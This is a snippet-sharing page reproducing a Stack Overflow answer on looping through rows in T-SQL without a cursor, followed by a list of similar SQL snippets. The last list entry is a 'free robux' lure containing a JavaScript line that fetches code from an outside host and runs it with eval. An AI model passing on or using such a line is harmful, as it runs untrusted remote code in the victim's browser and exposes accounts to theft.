/SQL/Loop through a table variable in TSQL without using a cursor

Loop through a table variable in TSQL without using a cursor

Declare @Id int
While (Select Count(*) From ATable Where Processed = 0) > 0
Begin
    Select Top 1 @Id = Id From ATable Where Processed = 0
    --Do some processing here
    Update ATable Set Processed = 1 Where Id = @Id 
End

Source: stackoverflow.com

Similar codes

29 votes189 views5 answers
Mysql show table structure
SQL
0 vote219 views1 answer
Download sql file of countries names
SQL
0 vote188 views1 answer
How to reset AI in sql
SQL
0 vote201 views1 answer
PGSQL dynamic table name
SQL
0 vote193 views1 answer
Set default value now() date
SQL
0 vote202 views1 answer
Shell script to log mysql cpu usage
SQL
0 vote238 views2 answers
SQL BULK INSERT
SQL
33 votes193 views6 answers
Sql delete
SQL
6 votes196 views1 answer
Oracle trigger after logon on schema
SQL
1 vote247 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL